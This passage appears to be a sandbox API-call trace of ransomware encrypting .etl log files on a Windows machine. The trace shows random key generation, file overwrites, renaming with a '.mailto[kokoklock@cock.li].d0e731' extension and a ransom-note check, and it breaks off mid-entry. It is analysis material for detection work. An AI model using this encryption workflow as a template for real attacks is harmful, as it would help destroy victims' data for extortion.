[0080.983] NtQuerySystemTime (in: CurrentTime=0x2533fb3c | out: CurrentTime=0x2533fb3c*=132121176388809707) returned 0x0 [0080.983] RtlRandom (in: Seed=0x2533fb48 | out: Seed=0x2533fb48) returned 0x1ce56451 [0080.983] RtlRandom (in: Seed=0x2533fb48 | out: Seed=0x2533fb48) returned 0x8d04f512 [0080.983] RtlRandom (in: Seed=0x2533fb48 | out: Seed=0x2533fb48) returned 0x1bd32f39 [0080.983] RtlRandom (in: Seed=0x2533fb48 | out: Seed=0x2533fb48) returned 0x6b6f47b5 [0080.983] RtlRandom (in: Seed=0x2533fb48 | out: Seed=0x2533fb48) returned 0x90d6680a [0080.983] RtlRandom (in: Seed=0x2533fb48 | out: Seed=0x2533fb48) returned 0xee9ece7d [0080.983] RtlRandom (in: Seed=0x2533fb48 | out: Seed=0x2533fb48) returned 0x8c6a4452 [0080.983] RtlRandom (in: Seed=0x2533fb48 | out: Seed=0x2533fb48) returned 0x30d09361 [0080.983] RtlRandom (in: Seed=0x2533fb48 | out: Seed=0x2533fb48) returned 0xba196c37 [0080.983] RtlRandom (in: Seed=0x2533fb48 | out: Seed=0x2533fb48) returned 0xe1b88286 [0080.983] RtlRandom (in: Seed=0x2533fb48 | out: Seed=0x2533fb48) returned 0xb4a827c9 [0080.983] RtlRandom (in: Seed=0x2533fb48 | out: Seed=0x2533fb48) returned 0xa41d6b1 [0080.983] RtlRandom (in: Seed=0x2533fb48 | out: Seed=0x2533fb48) returned 0xe1a0c60a [0080.983] RtlRandom (in: Seed=0x2533fb48 | out: Seed=0x2533fb48) returned 0x75954c06 [0080.984] RtlRandom (in: Seed=0x2533fb48 | out: Seed=0x2533fb48) returned 0xc47ead9a [0080.984] RtlRandom (in: Seed=0x2533fb48 | out: Seed=0x2533fb48) returned 0xb1031017 [0080.984] RtlRandom (in: Seed=0x2533fb48 | out: Seed=0x2533fb48) returned 0x6e7504c3 [0080.984] RtlRandom (in: Seed=0x2533fb48 | out: Seed=0x2533fb48) returned 0x37c9b60d [0080.984] RtlRandom (in: Seed=0x2533fb48 | out: Seed=0x2533fb48) returned 0x204b6795 [0080.984] RtlRandom (in: Seed=0x2533fb48 | out: Seed=0x2533fb48) returned 0x4abf2c2a [0080.984] RtlRandom (in: Seed=0x2533fb48 | out: Seed=0x2533fb48) returned 0x893dcd9c [0080.984] RtlRandom (in: Seed=0x2533fb48 | out: Seed=0x2533fb48) returned 0xf1fbfb2d [0080.984] RtlRandom (in: Seed=0x2533fb48 | out: Seed=0x2533fb48) returned 0xc11d993e [0080.984] RtlRandom (in: Seed=0x2533fb48 | out: Seed=0x2533fb48) returned 0x9531d36f [0080.984] RtlRandom (in: Seed=0x2533fb48 | out: Seed=0x2533fb48) returned 0x79bbaf48 [0080.984] RtlRandom (in: Seed=0x2533fb48 | out: Seed=0x2533fb48) returned 0xf3a8e461 [0080.984] RtlRandom (in: Seed=0x2533fb48 | out: Seed=0x2533fb48) returned 0x96ec4aac [0080.984] RtlRandom (in: Seed=0x2533fb48 | out: Seed=0x2533fb48) returned 0xf89a2f1 [0080.984] RtlRandom (in: Seed=0x2533fb48 | out: Seed=0x2533fb48) returned 0x93beb8d1 [0080.984] RtlRandom (in: Seed=0x2533fb48 | out: Seed=0x2533fb48) returned 0x607d7b2d [0080.984] RtlRandom (in: Seed=0x2533fb48 | out: Seed=0x2533fb48) returned 0x5fc88ce1 [0080.984] RtlRandom (in: Seed=0x2533fb48 | out: Seed=0x2533fb48) returned 0xd36cfbf6 [0080.994] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f940) returned 1 [0080.995] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e158) returned 1 [0080.995] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fce00 [0080.995] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480138 [0080.995] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e248 [0080.995] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e248) returned 1 [0080.995] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0080.995] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0080.995] ReadFile (in: hFile=0x458, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2533fb3c, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x2533fb3c*=0x2000, lpOverlapped=0x0) returned 1 [0080.996] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2533fb04 | out: lpNewFilePointer=0x0) returned 1 [0080.996] WriteFile (in: hFile=0x458, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2533fb38, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x2533fb38*=0x2000, lpOverlapped=0x0) returned 1 [0080.996] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e518 [0080.996] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e540 [0080.996] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e540) returned 1 [0080.996] WriteFile (in: hFile=0x458, lpBuffer=0x342e518*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2533fb34, lpOverlapped=0x0 | out: lpBuffer=0x342e518*, lpNumberOfBytesWritten=0x2533fb34*=0x20, lpOverlapped=0x0) returned 1 [0080.997] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e518) returned 1 [0080.997] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0080.997] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0080.997] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480138) returned 1 [0080.997] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fce00) returned 1 [0080.997] WriteFile (in: hFile=0x458, lpBuffer=0x342e478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2533fb60, lpOverlapped=0x0 | out: lpBuffer=0x342e478*, lpNumberOfBytesWritten=0x2533fb60*=0x8, lpOverlapped=0x0) returned 1 [0080.997] WriteFile (in: hFile=0x458, lpBuffer=0x2533fb78*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2533fb60, lpOverlapped=0x0 | out: lpBuffer=0x2533fb78*, lpNumberOfBytesWritten=0x2533fb60*=0x4, lpOverlapped=0x0) returned 1 [0080.997] WriteFile (in: hFile=0x458, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2533fb60, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2533fb60*=0x4, lpOverlapped=0x0) returned 1 [0080.997] WriteFile (in: hFile=0x458, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2533fb60, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2533fb60*=0x6c, lpOverlapped=0x0) returned 1 [0080.997] WriteFile (in: hFile=0x458, lpBuffer=0x342e310*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2533fb60, lpOverlapped=0x0 | out: lpBuffer=0x342e310*, lpNumberOfBytesWritten=0x2533fb60*=0x20, lpOverlapped=0x0) returned 1 [0080.997] WriteFile (in: hFile=0x458, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2533fb60, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2533fb60*=0x4, lpOverlapped=0x0) returned 1 [0080.997] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e310) returned 1 [0080.997] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e568) returned 1 [0080.997] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e478) returned 1 [0080.997] CloseHandle (hObject=0x458) returned 1 [0080.998] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc0) returned 0x3431cb8 [0080.998] wcscpy (in: _Dest=0x3431cb8, _Source="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.015.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.015.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.015.etl" [0080.998] wcscat (in: _Dest=0x3431cb8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.015.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.015.etl.mailto[kokoklock@cock.li].d0e731" [0080.998] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.015.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.015.etl"), lpNewFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.015.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.015.etl.mailto[kokoklock@cock.li].d0e731")) returned 1 [0080.998] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.015.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 1 [0080.999] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431cb8) returned 1 [0080.999] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.015.etl", dwFileAttributes=0x2020) returned 0 [0080.999] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x347fc88 [0080.999] wcscpy (in: _Dest=0x347fc88, _Source="C:\\Users\\All Users\\USOShared\\Logs\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0080.999] wcscat (in: _Dest=0x347fc88, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" [0080.999] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\usoshared\\logs\\d0e731-readme.txt")) returned 0x2020 [0080.999] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fc88) returned 1 [0080.999] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f1b0) returned 1 [0080.999] RtlExitUserThread (Status=0x1) Thread: id = 1037 os_tid = 0x1738 [0081.000] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.016.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.016.etl")) returned 0x2020 [0081.001] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.016.etl", dwFileAttributes=0x20) returned 1 [0081.002] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.016.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.016.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0081.002] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x253bfe90 | out: lpFileSize=0x253bfe90*=8192) returned 1 [0081.002] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x1ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.002] ReadFile (in: hFile=0x458, lpBuffer=0x253bfe64, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x253bfe60, lpOverlapped=0x0 | out: lpBuffer=0x253bfe64*, lpNumberOfBytesRead=0x253bfe60*=0x4, lpOverlapped=0x0) returned 1 [0081.003] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.003] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e400 [0081.003] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e1a8 [0081.003] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e158 [0081.003] NtQuerySystemTime (in: CurrentTime=0x253bfe3c | out: CurrentTime=0x253bfe3c*=132121176388966174) returned 0x0 [0081.003] RtlRandom (in: Seed=0x253bfe48 | out: Seed=0x253bfe48) returned 0x4f166c08 [0081.003] RtlRandom (in: Seed=0x253bfe48 | out: Seed=0x253bfe48) returned 0x5198fee3 [0081.003] RtlRandom (in: Seed=0x253bfe48 | out: Seed=0x253bfe48) returned 0x170618f [0081.003] RtlRandom (in: Seed=0x253bfe48 | out: Seed=0x253bfe48) returned 0xb1bd9310 [0081.004] RtlRandom (in: Seed=0x253bfe48 | out: Seed=0x253bfe48) returned 0x34cf8d32 [0081.004] RtlRandom (in: Seed=0x253bfe48 | out: Seed=0x253bfe48) returned 0xbe6efae2 [0081.004] RtlRandom (in: Seed=0x253bfe48 | out: Seed=0x253bfe48) returned 0x1dbcbdca [0081.004] RtlRandom (in: Seed=0x253bfe48 | out: Seed=0x253bfe48) returned 0xe1ca59e3 [0081.004] RtlRandom (in: Seed=0x253bfe48 | out: Seed=0x253bfe48) returned 0x19073546 [0081.004] RtlRandom (in: Seed=0x253bfe48 | out: Seed=0x253bfe48) returned 0x40b225b5 [0081.004] RtlRandom (in: Seed=0x253bfe48 | out: Seed=0x253bfe48) returned 0xe39daaf4 [0081.004] RtlRandom (in: Seed=0x253bfe48 | out: Seed=0x253bfe48) returned 0x86397486 [0081.004] RtlRandom (in: Seed=0x253bfe48 | out: Seed=0x253bfe48) returned 0x979f80b5 [0081.004] RtlRandom (in: Seed=0x253bfe48 | out: Seed=0x253bfe48) returned 0xec0edc6 [0081.004] RtlRandom (in: Seed=0x253bfe48 | out: Seed=0x253bfe48) returned 0x2f80970f [0081.004] RtlRandom (in: Seed=0x253bfe48 | out: Seed=0x253bfe48) returned 0xe04d91a0 [0081.004] RtlRandom (in: Seed=0x253bfe48 | out: Seed=0x253bfe48) returned 0x60487674 [0081.004] RtlRandom (in: Seed=0x253bfe48 | out: Seed=0x253bfe48) returned 0x2e4256e1 [0081.004] RtlRandom (in: Seed=0x253bfe48 | out: Seed=0x253bfe48) returned 0x120113e9 [0081.004] RtlRandom (in: Seed=0x253bfe48 | out: Seed=0x253bfe48) returned 0x87c57174 [0081.004] RtlRandom (in: Seed=0x253bfe48 | out: Seed=0x253bfe48) returned 0x705ce50f [0081.004] RtlRandom (in: Seed=0x253bfe48 | out: Seed=0x253bfe48) returned 0xee887de5 [0081.004] RtlRandom (in: Seed=0x253bfe48 | out: Seed=0x253bfe48) returned 0x558a443 [0081.004] RtlRandom (in: Seed=0x253bfe48 | out: Seed=0x253bfe48) returned 0x767ff829 [0081.004] RtlRandom (in: Seed=0x253bfe48 | out: Seed=0x253bfe48) returned 0xd1e03e1 [0081.004] RtlRandom (in: Seed=0x253bfe48 | out: Seed=0x253bfe48) returned 0x2b7ba14c [0081.004] RtlRandom (in: Seed=0x253bfe48 | out: Seed=0x253bfe48) returned 0xf1213887 [0081.004] RtlRandom (in: Seed=0x253bfe48 | out: Seed=0x253bfe48) returned 0x224a5488 [0081.004] RtlRandom (in: Seed=0x253bfe48 | out: Seed=0x253bfe48) returned 0xcdf73907 [0081.004] RtlRandom (in: Seed=0x253bfe48 | out: Seed=0x253bfe48) returned 0xec0c7627 [0081.004] RtlRandom (in: Seed=0x253bfe48 | out: Seed=0x253bfe48) returned 0xcaf6ac49 [0081.004] RtlRandom (in: Seed=0x253bfe48 | out: Seed=0x253bfe48) returned 0x20c65c1d [0081.015] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0081.015] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e400) returned 1 [0081.015] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcc50 [0081.015] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3480390 [0081.015] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e1f8 [0081.015] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e1f8) returned 1 [0081.015] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0081.015] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0081.015] ReadFile (in: hFile=0x458, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x253bfe3c, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x253bfe3c*=0x2000, lpOverlapped=0x0) returned 1 [0081.016] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x253bfe04 | out: lpNewFilePointer=0x0) returned 1 [0081.016] WriteFile (in: hFile=0x458, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x253bfe38, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x253bfe38*=0x2000, lpOverlapped=0x0) returned 1 [0081.016] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e3b0 [0081.016] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e248 [0081.016] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e248) returned 1 [0081.016] WriteFile (in: hFile=0x458, lpBuffer=0x342e3b0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x253bfe34, lpOverlapped=0x0 | out: lpBuffer=0x342e3b0*, lpNumberOfBytesWritten=0x253bfe34*=0x20, lpOverlapped=0x0) returned 1 [0081.016] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e3b0) returned 1 [0081.017] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0081.017] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0081.017] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480390) returned 1 [0081.017] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcc50) returned 1 [0081.017] WriteFile (in: hFile=0x458, lpBuffer=0x342e568*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x253bfe60, lpOverlapped=0x0 | out: lpBuffer=0x342e568*, lpNumberOfBytesWritten=0x253bfe60*=0x8, lpOverlapped=0x0) returned 1 [0081.017] WriteFile (in: hFile=0x458, lpBuffer=0x253bfe78*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x253bfe60, lpOverlapped=0x0 | out: lpBuffer=0x253bfe78*, lpNumberOfBytesWritten=0x253bfe60*=0x4, lpOverlapped=0x0) returned 1 [0081.017] WriteFile (in: hFile=0x458, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x253bfe60, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x253bfe60*=0x4, lpOverlapped=0x0) returned 1 [0081.017] WriteFile (in: hFile=0x458, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x253bfe60, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x253bfe60*=0x6c, lpOverlapped=0x0) returned 1 [0081.017] WriteFile (in: hFile=0x458, lpBuffer=0x342e1a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x253bfe60, lpOverlapped=0x0 | out: lpBuffer=0x342e1a8*, lpNumberOfBytesWritten=0x253bfe60*=0x20, lpOverlapped=0x0) returned 1 [0081.017] WriteFile (in: hFile=0x458, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x253bfe60, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x253bfe60*=0x4, lpOverlapped=0x0) returned 1 [0081.017] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e1a8) returned 1 [0081.017] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e310) returned 1 [0081.017] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e568) returned 1 [0081.017] CloseHandle (hObject=0x458) returned 1 [0081.017] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc0) returned 0x3431cb8 [0081.017] wcscpy (in: _Dest=0x3431cb8, _Source="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.016.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.016.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.016.etl" [0081.017] wcscat (in: _Dest=0x3431cb8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.016.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.016.etl.mailto[kokoklock@cock.li].d0e731" [0081.018] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.016.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.016.etl"), lpNewFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.016.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.016.etl.mailto[kokoklock@cock.li].d0e731")) returned 1 [0081.018] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.016.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 1 [0081.019] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431cb8) returned 1 [0081.019] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.016.etl", dwFileAttributes=0x2020) returned 0 [0081.019] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x3480408 [0081.019] wcscpy (in: _Dest=0x3480408, _Source="C:\\Users\\All Users\\USOShared\\Logs\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0081.019] wcscat (in: _Dest=0x3480408, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" [0081.019] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\usoshared\\logs\\d0e731-readme.txt")) returned 0x2020 [0081.019] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480408) returned 1 [0081.019] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f678) returned 1 [0081.019] RtlExitUserThread (Status=0x1) Thread: id = 1038 os_tid = 0x173c [0081.020] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.017.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.017.etl")) returned 0x2020 [0081.021] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.017.etl", dwFileAttributes=0x20) returned 1 [0081.021] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.017.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.017.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0081.021] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x2543fc50 | out: lpFileSize=0x2543fc50*=12288) returned 1 [0081.021] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x2ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.021] ReadFile (in: hFile=0x458, lpBuffer=0x2543fc24, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2543fc20, lpOverlapped=0x0 | out: lpBuffer=0x2543fc24*, lpNumberOfBytesRead=0x2543fc20*=0x4, lpOverlapped=0x0) returned 1 [0081.023] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.023] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e400 [0081.023] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e1a8 [0081.023] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x342e180 [0081.023] NtQuerySystemTime (in: CurrentTime=0x2543fbfc | out: CurrentTime=0x2543fbfc*=132121176389122353) returned 0x0 [0081.023] RtlRandom (in: Seed=0x2543fc08 | out: Seed=0x2543fc08) returned 0x7411650 [0081.023] RtlRandom (in: Seed=0x2543fc08 | out: Seed=0x2543fc08) returned 0x3783504b [0081.023] RtlRandom (in: Seed=0x2543fc08 | out: Seed=0x2543fc08) returned 0x39f7f378 [0081.023] RtlRandom (in: Seed=0x2543fc08 | out: Seed=0x2543fc08) returned 0x2c34a69e [0081.023] RtlRandom (in: Seed=0x2543fc08 | out: Seed=0x2543fc08) returned 0x414fb0bd [0081.023] RtlRandom (in: Seed=0x2543fc08 | out: Seed=0x2543fc08) returned 0xa539f750 [0081.023] RtlRandom (in: Seed=0x2543fc08 | out: Seed=0x2543fc08) returned 0x942e74b2 [0081.023] RtlRandom (in: Seed=0x2543fc08 | out: Seed=0x2543fc08) returned 0xc92c08b6 [0081.023] RtlRandom (in: Seed=0x2543fc08 | out: Seed=0x2543fc08) returned 0x7f9cf740 [0081.023] RtlRandom (in: Seed=0x2543fc08 | out: Seed=0x2543fc08) returned 0x26559ad9 [0081.023] RtlRandom (in: Seed=0x2543fc08 | out: Seed=0x2543fc08) returned 0xead474cf [0081.023] RtlRandom (in: Seed=0x2543fc08 | out: Seed=0x2543fc08) returned 0xa5baae55 [0081.023] RtlRandom (in: Seed=0x2543fc08 | out: Seed=0x2543fc08) returned 0xf5c1855e [0081.023] RtlRandom (in: Seed=0x2543fc08 | out: Seed=0x2543fc08) returned 0x80cf13a7 [0081.023] RtlRandom (in: Seed=0x2543fc08 | out: Seed=0x2543fc08) returned 0x2a2255e2 [0081.023] RtlRandom (in: Seed=0x2543fc08 | out: Seed=0x2543fc08) returned 0x802edbdb [0081.023] RtlRandom (in: Seed=0x2543fc08 | out: Seed=0x2543fc08) returned 0xbaa79db0 [0081.023] RtlRandom (in: Seed=0x2543fc08 | out: Seed=0x2543fc08) returned 0x405abf10 [0081.023] RtlRandom (in: Seed=0x2543fc08 | out: Seed=0x2543fc08) returned 0x734a7280 [0081.023] RtlRandom (in: Seed=0x2543fc08 | out: Seed=0x2543fc08) returned 0x9e5a9969 [0081.023] RtlRandom (in: Seed=0x2543fc08 | out: Seed=0x2543fc08) returned 0x1f72e6b7 [0081.023] RtlRandom (in: Seed=0x2543fc08 | out: Seed=0x2543fc08) returned 0x55b51b3f [0081.023] RtlRandom (in: Seed=0x2543fc08 | out: Seed=0x2543fc08) returned 0xeaf1bff1 [0081.023] RtlRandom (in: Seed=0x2543fc08 | out: Seed=0x2543fc08) returned 0x9a692720 [0081.023] RtlRandom (in: Seed=0x2543fc08 | out: Seed=0x2543fc08) returned 0x588030b9 [0081.023] RtlRandom (in: Seed=0x2543fc08 | out: Seed=0x2543fc08) returned 0x9b105815 [0081.023] RtlRandom (in: Seed=0x2543fc08 | out: Seed=0x2543fc08) returned 0x36c7c2a5 [0081.023] RtlRandom (in: Seed=0x2543fc08 | out: Seed=0x2543fc08) returned 0xdf3c33e [0081.023] RtlRandom (in: Seed=0x2543fc08 | out: 